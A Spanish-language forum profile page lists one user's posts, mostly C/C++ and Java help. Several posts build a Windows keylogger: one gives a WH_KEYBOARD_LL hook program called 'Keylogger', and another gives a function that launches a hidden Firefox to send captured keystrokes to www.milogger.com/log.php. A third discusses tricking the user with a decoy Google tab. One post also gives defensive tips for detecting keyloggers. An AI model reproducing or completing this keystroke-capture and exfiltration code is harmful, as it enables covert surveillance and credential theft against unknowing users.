Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - someRandomCode

#211
Nada nada, solucionado, que pena que quede el codigo tirado ´visible para todos.. Se ven "mis manchas" jaja
#212
Programación C/C++ / Problema con AttachThreadInput
28 Noviembre 2012, 23:59 PM
Bueno, muchachos, en realidad CREO que el problema esta ahi, eh aqui el codigo:

#include <windows.h>
HHOOK hKeyHook = NULL;
__declspec(dllexport) LRESULT CALLBACK Teclazo(int nCode, WPARAM wParam, LPARAM lParam) {
HWND ventana;
BYTE Buffer[100];
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
BYTE Status;
char Mensaje[100];
ventana = GetForegroundWindow();
DWORD thread;
if (ventana) {
thread = GetWindowThreadProcessId(ventana,NULL);
if (thread) {
AttachThreadInput(GetCurrentThreadId(),thread,TRUE);
}
}
ToAscii(hooked.vkCode,hooked.scanCode,NULL,(LPWORD)Buffer,0);
printf("%c: \n",Buffer[0]);
printf("%c: \n",Buffer[1]);
AttachThreadInput(GetCurrentThreadId,thread,FALSE);
return CallNextHookEx(NULL,nCode,wParam,lParam);
}
void LoopDeMensajes(){
MSG msg;
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
DWORD WINAPI Keylogger() {
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)Teclazo,GetModuleHandle(NULL),NULL);
LoopDeMensajes();
UnhookWindowsHookEx(hKeyHook);
}

int main() {
DWORD dwThread = 0;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Keylogger,(LPVOID)NULL,NULL,dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
}
}


El problema es que parece que no estoy levantando la tecla en si, aunque si estoy hookeando bien el proceso porque me esta retornando dos lineas por cada tecla que aprete, no importa en donde.
#213
Programación C/C++ / Re: Problemas con ShellExecute
28 Noviembre 2012, 11:43 AM
Gracias, pero si pongo el ultimo NULL me abre el navegador en modo visible, la idea es que lo haga como SW_HIDDEN (0)...
Por el resto pense que no seria cambio, pero si lo hizo al cambio..
El problema es que si tiene un navegador abierto (una instancia de firefox) me habre una pestaña..
supongo que podria engañar al usuario abriendo una pestaña con Google..
#214
Programación C/C++ / Re: Archivos c++
28 Noviembre 2012, 10:00 AM
Que IDE y que herramientas de trabajo estas usando?
Existe gotoxy() pero no siempre esta disponible.
y sino podes hacer un system("clear") o system("cls") y acomodarlo a tu gusto, y despues pedir el input del usuario...
#215
Programación C/C++ / Problemas con ShellExecute
28 Noviembre 2012, 09:57 AM

int EnviarAMi() {
/* Busco si existe un navegador*/
static char navegador[1024];
HINSTANCE envio;
HANDLE Navegador = CreateFile("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (Navegador!=INVALID_HANDLE_VALUE) {
strcpy(navegador,"""C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe""");
strcat(navegador," www.milogger.com/log.php?");
strcat(navegador,buffer);
/* Lanzar navegador */
envio = ShellExecute(NULL,"open",navegador,NULL,NULL,0);
if ((int)envio>31)
printf("Navegador lanzado oculto");
}


Alguien sabe porque no esta funcionando?
#216
Hacking / Re: CONSULTA: SetWindowsHookEx
26 Agosto 2011, 15:41 PM
Fijate en que directorio esta, por el nombre solo puede ser un engaño (si es ese el nombre del ejecutable del Windows Live Messenger, pero yo no vi ese comportamiento y tambien tengo el Outpost).

Si pensas que esta hookeado porque tenes un keylogger/troyano, busca que DLLs hay cargadas en tu sistema, y si hay alguna que no es "oficial", o de algo que hayas puesto vos, asumi que tenes un bichito jeje...

Podes usar Process Explorer para ver las DLLs cargadas..

Igualmente podria haber alguna que fue reemplazada, pero esto ya te va a dar un apuntador..

Otra cosa que PODRIAS intentar, es buscar cualquier archivo en disco con algo que hayas escrito en los ultimos segundos habiendote desconectado de internet (esto ultimo para evitar que lo envie y se deshaga del "log") pero esto tambien puede fallar si guarda los logs cifrados de alguna forma (ie: no en texto claro)..

Has cargado algo ultimamente o aceptado algo de dudosa proveniencia?
#217
Queres codigo?

#define _WIN32_WINNT 0x403
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstancia, HINSTANCE hAnteriores, LPTSTR ldc, int estado) {
INPUT entrada;
entrada.type = INPUT_MOUSE;
entrada.mi.dx = 0;
entrada.mi.dy = 0;
entrada.mi.mouseData = 0;
entrada.mi.dwFlags = MOUSEEVENTF_ABSOLUTE;
entrada.mi.time = 0;
entrada.mi.dwExtraInfo = 0;
SendInput(1, &entrada, sizeof(INPUT));
}


Es en C, te da un ejemplo de como enviar.
Ahora mangueale a otro un ejemplo de como conseguir usar GetWindowLong para conseguir las coordenadas del boton.

Pedir regalado el codigo es practicamente mala educacion.

Y sino, hace como te dijeron, y pagale a alguien.
#218
Jaja, si, es que no se, pense que me podias ahorrar la busqueda linkeandome a algun lado pertinente.
El comentario fue uno de esos que no se ven a menudo, que tienen implicaciones tecnicas importantes por mas simple que parezca, y por eso me llamo la atención..
De NotNull y Nullable sabia, lo vi en el SL-275.. Assert tambien esta en el manual, aunque se vio poco, los patrones vi algunos ademas del notado, como por ejemplo el patron singleton comprobado..

Estaba buscando mas que una explicacion de safar de los null (usualmente, siempre los controlo antes de que lleguen, y sino reniego un rato hasta encontrarlo) un manual de consejos practicos compiladitos para eso y otas areas..

Gracias por los enlaces, me pongo de paso a buscar tambien otros (ya capaz que esto vale para agregarlo en el tema que esta sticky de JAVA - ¿cuanta gente has visto que empieza y se pierde por NPE y cae a preguntar por el foro -y en el peor de los casos- sin siquiera querer mostrar codigo fuente?)
#219
Comparto, pero hay una cosa que te quiero preguntar, porque nunca vi hacer asi como practica recomendada, podrias citarme alguna fuente?
Ya que estamos, uno siempre aprende algo nuevo...
Segun tenia entendido, en estos casos, la comparacion RTL o LTR (right to left o left to right) si uno de los dos da null, ya se tira la excepcion.
Por cierto, tu codigo y el mio cambian en 2 numeros (6 a 10, y vec[1] por vec[0] ) donde el cambio realmente no es relevante, dado que podria bien ser, en cualquiera de los dos casos, que ambos sean (o no)nulos, o uno de los dos lo sea.
O no entendí lo que quisiste decir con el ejemplo..
#220
Primero que nada, no te olvides que para que se descomprima, IGUAL va a tener que ejecutarlo.
Es lo que te venimos diciendo..

En cuanto a como conseguirlo, o buscas el codigo de alguno pre-hecho, o lo haces vos.

O conseguis algo que tenga un generador para hacer eso.

SOLO, porque SI, solo porque lo bajes, NO, no se puede hacer lo que vos queres, requiere como minimo, un doble click (bien en gringo te lo digo jeje).